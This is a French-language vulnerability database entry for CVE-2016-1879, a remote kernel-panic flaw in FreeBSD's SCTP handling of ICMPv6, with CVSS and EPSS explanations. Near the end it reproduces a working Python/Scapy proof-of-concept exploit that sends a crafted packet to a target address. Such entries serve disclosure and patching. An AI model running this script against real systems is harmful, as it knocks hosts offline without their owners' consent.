CVE-2016-1879 : Détail

CVE-2016-1879

7.5
/
Haute
34.39%V3
Network
2016-01-29
18h00 +00:00
2017-09-09
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The Stream Control Transmission Protocol (SCTP) module in FreeBSD 9.3 before p33, 10.1 before p26, and 10.2 before p9, when the kernel is configured for IPv6, allows remote attackers to cause a denial of service (assertion failure or NULL pointer dereference and kernel panic) via a crafted ICMPv6 packet.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 39305

Date de publication : 2016-01-24 23h00 +00:00
Auteur : ptsecurity
EDB Vérifié : No

#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Source: http://blog.ptsecurity.com/2016/01/severe-vulnerabilities-detected-in.html SCTP (stream control transmission protocol) is a transport-layer protocol designed to transfer signaling messages in an IP environment. As a rule, mobile operators use this protocol in technological networks. This vulnerability threatens FreeBSD systems (versions 9.3, 10.1, and 10.2) if they support SCTP and IPv6 (default configuration). To exploit this flaw, a malefactor needs to send a specially crafted ICMPv6 message. And if he succeeds, he can conduct a DoS attack. Denial of service is caused by improper check of the length of an SCTP packet header received from the ICMPv6 error message. If the target recipient is unavailable, the router can generate an error message and send it to the sender via ICMPv6. This ICMPv6 packet includes the original IPv6 packet where the Next Header field indicates how SCTP is encapsulated. When the kernel receives the error message via ICMPv6, it transfers the upper-level protocol packet to a necessary parser (sctp6_ctlinput()). The SCTP parser considers the incoming header has the required length, tries to copy it using m_copydata(), which has offset values and the number of bytes. Since a twelve-byte chunk is expected, if the attacker sends a packet with an eleven-byte header, a NULL pointer is dereferenced causing kernel panic. There is no need for an open SCTP socket to successfully exploit this vulnerability. Scapy can help to create an ICMPv6 packet. ''' import argparse from scapy.all import * def get_args(): parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78) parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address") parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address") parser.add_argument("-I", "--iface", type=str, help="Iface") options = parser.parse_args() if options.dst_mac is None or options.dst_ipv6 is None: parser.print_help() exit() return options if __name__ == '__main__': options = get_args() sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132, src=options.dst_ipv6, dst='fe80::230:56ff:fea6:648c'), iface=options.iface)

Products Mentioned

Configuraton 0

Freebsd>>Freebsd >> Version 9.3

Freebsd>>Freebsd >> Version 10.1

Freebsd>>Freebsd >> Version 10.2

Références

https://www.exploit-db.com/exploits/39305/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1034673
Tags : vdb-entry, x_refsource_SECTRACK